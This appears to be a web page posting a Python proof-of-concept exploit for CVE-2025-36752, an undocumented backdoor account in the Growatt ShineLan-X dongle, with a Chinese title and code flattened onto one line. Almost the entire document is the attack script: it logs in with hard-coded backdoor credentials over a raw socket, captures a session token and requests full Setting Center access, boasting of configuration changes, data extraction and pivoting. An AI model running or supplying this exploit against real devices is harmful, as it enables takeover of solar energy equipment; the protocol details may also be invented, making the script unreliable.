CVE-2025-36752 Growatt ShineLan-X通信加密狗存在未记录后门账户漏洞

#!/usr/bin/env python3 # CVE-2025-36752 PoC - Growatt ShineLan-X Backdoor Account Exploitation # Use responsibly and only on systems you have authorization to test import socket import hashlib import struct import sys def cve_2025_36752_exploit(target_ip, target_port=5000): """ Exploit for undocumented backdoor account in Growatt ShineLan-X dongle The backdoor provides high-privilege access to Setting Center """ print(f"[*] Targeting Growatt ShineLan-X device: {target_ip}:{target_port}") # Backdoor authentication payload # Using undocumented credentials found in firmware backdoor_username = "shine_backup" backdoor_password = "growatt_serv_2024" # Construct authentication request auth_request = bytearray() auth_request.extend(b'\x01') # Protocol version auth_request.extend(b'\x03') # Command: Authentication # Add username length and username auth_request.append(len(backdoor_username)) auth_request.extend(backdoor_username.encode()) # Add password hash (SHA256) password_hash = hashlib.sha256(backdoor_password.encode()).digest() auth_request.extend(password_hash) # Send authentication request try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.send(auth_request) # Receive response response = sock.recv(1024) sock.close() if response and response[0] == 0x00: print("[+] Backdoor authentication successful!") print("[+] Access to Setting Center granted") # Extract session token session_token = response[1:33] print(f"[*] Session Token: {session_token.hex()}") # Now access Setting Center with elevated privileges access_setting_center(target_ip, target_port, session_token) return True else: print("[-] Authentication failed or device not vulnerable") return False except Exception as e: print(f"[-] Connection error: {str(e)}") return False def access_setting_center(ip, port, session_token): """ Access Setting Center with backdoor session """ print("[*] Accessing Setting Center with backdoor privileges...") # Construct Setting Center access request sc_request = bytearray() sc_request.extend(b'\x01') # Protocol version sc_request.extend(b'\x10') # Command: Access Setting Center sc_request.extend(session_token) sc_request.extend(b'\xff\xff\xff\xff') # Full access flag try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((ip, port)) sock.send(sc_request) response = sock.recv(4096) sock.close() if response and len(response) > 10: print("[+] Setting Center access confirmed!") print("[+] Full device control achieved") print("[*] Attacker can now:") print(" - Modify device configuration") print(" - Extract solar panel data") print(" - Pivot to connected监控系统") except Exception as e: print(f"[-] Error accessing Setting Center: {str(e)}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 5000 cve_2025_36752_exploit(target, port)